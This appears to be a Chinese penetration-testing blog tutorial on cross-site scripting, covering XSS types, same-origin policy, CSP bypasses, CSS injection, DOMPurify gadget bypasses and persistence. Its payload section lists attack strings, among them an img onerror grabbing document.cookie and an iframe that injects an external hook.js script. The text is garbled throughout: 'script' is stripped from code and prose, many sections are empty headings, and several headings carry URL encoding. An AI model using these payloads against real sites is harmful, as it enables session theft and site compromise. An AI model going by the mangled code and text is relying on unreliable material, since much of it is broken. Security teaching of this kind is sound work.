国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。
XSS全称为Cross Site ing,为了和css分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JAVA代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
3.2.1.1. 反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置 /?user=</p><>alert("hack")</><p> ,则可执行预设好的Java代码。 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、No等防御手段的影响较大。
3.2.1.2. 储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
3.2.1.3. DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在Java脚本动态执行的过程中产生的。
例如
<html>
<head>
<title>DOM Based XSS Demo</title>
<>
function xsstest()
{
var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" /> </body>
</html>
输入 x' ='java:alert(/xss/) 即可触发。
3.2.1.4. Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。它被归类为盲目的原因是因为它通常发生在通常不暴露给用户的功能上。
3.2.2. 同源策略
3.2.2.1. 简介
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
3.2.2.1.1. file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
3.2.2.1.2. cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure 和 http-only 标记来限定其访问性。
所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。
3.2.2.1.3. Flash/SilverLight跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
3.2.2.2. 源的更改
同源策略认为域和子域属于不同的域,例如
域名1.a.com 与 域名a.com / 域名1.a.com 与 域名2.a.com/ xxx.域名1.a.com 与 域名1.a.com 两两不同源。
对于这种情况,可以在两个方面各自设置 document.damain='a.com' 来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null 。
3.2.2.3. 跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
可能嵌入跨源的资源的一些示例有:
3.2.2.3.1. JSONP跨域
JSONP就是利用 <> 标签的跨域能力实现跨域数据的访问,请求动态生成的Java脚本同时带一个callback函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
3.2.2.3.2. 跨源脚本API访问
Java的APIs中,如 iframe.contentWindow , window.parent, window.open 和 window.opener 允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window 和 location 对象的访问添加限制。
window 允许跨源访问的方法有
window 允许跨源访问的属性有
其中 window.location 允许读/写,其他的属性只允许读
3.2.2.3.3. 跨源数据存储访问
存储在浏览器中的数据,如 localStorage 和 IndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Java脚本不能对属于其它源的数据进行读写操作。
3.2.2.4. CORS
CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
3.2.2.4.1. 常见返回头
3.2.2.4.2. 常见请求头
3.2.2.4.3. 防御建议
如非必要不开启CORS
3.2.2.5. 阻止跨源访问
阻止跨域写操作,可以检测请求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type 消息头。例如如果在HTML文档中指定 <> 标记,则浏览器会尝试将HTML解析为Java。
3.2.3. CSP
3.2.3.1. CSP是什么?
Content Security Policy,简称 CSP。顾名思义,这个规范与内容安全有关,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生。
3.2.3.2. 配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
3.2.3.2.1. 指令说明
3.2.3.2.2. 关键字
3.2.3.2.3. 配置范例
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; -src 'self' 'unsafe-inline';
3.2.3.3. Bypass
3.2.3.3.1. 预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:
3.2.3.3.2. MIME Sniff
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再“< href=’http://xxx.com/xx.jpg’>“,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本
3.2.3.3.3. 302跳转
对于302跳转绕过CSP而言,实际上有以下几点限制:
3.2.3.3.4. iframe
当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f等可能触发服务器报错的链接也可以到达相应的目的。
3.2.3.3.5. 其他
3.2.4. XSS数据源
3.2.4.1. URL
3.2.4.2. Navigation
3.2.4.3. Communication
3.2.4.4. Storage
3.2.5. Sink
3.2.5.1. 执行Js
3.2.5.2. 加载URL
3.2.5.3. 执行HTML
3.2.6. XSS保护
3.2.6.1. HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
3.2.6.2. X-Frame
X-Frame-Options 响应头有三个可选的值:
3.2.6.3. XSS保护头
基于 Webkit 内核的浏览器(比如Chrome)有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0: 表示关闭浏览器的XSS防护机制
1: 删除检测到的恶意代码, 如果响应报文中没有看到X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
1; mode=block: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用No等相关插件。
3.2.7. WAF Bypass
3.2.8.1. CSS 注入
CSS注入最早开始于利用CSS中的 expression() url() regex() 等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
3.2.8.1.2. CSS selectors
利用CSS selectors完成攻击的一个示例
3.2.8.1.3. Abusing Unicode Range
当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下
当字符较多时,则可以结合%20::first-line%20等CSS属性缩小范围,以获取更精确的内容
3.2.8.2.%20Bypass%20Via%20Gadgets
3.2.8.2.1.%20简介
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site ing Mitigations via Gadgets 中有该方法的具体描述。
下面有一个简单的例子,这个例子使用了 DOMPurify 来加固,但是因为引入了 jquery.mobile.js 导致可以被攻击。
3.2.8.2.2. 例子
// index.php
<?php
$msg = $_GET['message'];
$msg = str_replace("n", "",
$msg); $msg = _encode($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preview</title>
< type="text/java" src="purify.js"></>
< type="text/java" src="jquery.js"></>
< type="text/java" src="jquery.mobile.js"></>
</head>
<body>
< type="text/java">
var d= atob('<?php echo $msg; ?>');
var cleanvar = DOMPurify.sanitize(d);
document.write(cleanvar);
</>
</body>
</html>
// playload
<div data-role=popup id='-->
<>alert(1)</>'>
</div>
3.2.8.3. jsfuck cheat sheet
3.2.8.3.1. Basic values
3.2.8.3.2. Basic strings
3.2.8.3.3. Higher numbers
3.2.8.3.4. String alphabet
3.2.8.4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
3.2.9. Payload
3.2.9.1. 常用
3.2.9.2. 大小写绕过
3.2.9.3. 各种alert
3.2.9.4. 伪协议
3.2.9.5. Chrome XSS auditor bypass
3.2.9.6. 长度限制
<>s+="l"</>
...
<>eval(s)</>
3.2.9.7. jquery sourceMappingURL
</textarea><>var
a=1//@ sourceMappingURL=//xss.site</>
3.2.9.8. 图片名
"><img src=x =alert(document.cookie)>.gif
3.2.9.9. 过期的payload
3.2.9.10. css
<div style="background-image:url(java:alert(/xss/))">
<STYLE>@import'域名/xss.css';</STYLE>
3.2.9.11. markdown
3.2.9.12. iframe
<iframe ='
var sc = document.("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "域名/js/hook.js"; document.body.(sc);
'
/>
3.2.9.13. form
3.2.9.14. meta
<META HTTP-EQUIV="Link" Content="<域名/xss.css>; REL=stylesheet">
3.2.10. 持久化
3.2.10.1. 基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data) 之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode 来绕过。
3.2.10.2. Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers 来查看Service Worker的状态,并进行停止。
3.2.10.3. AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。这节讲了这么多关于渗透测试中XSS跨站攻击的检测方法,如果对此有需求的朋友可以联系专业的网站安全公司来处理解决防患于未然等等。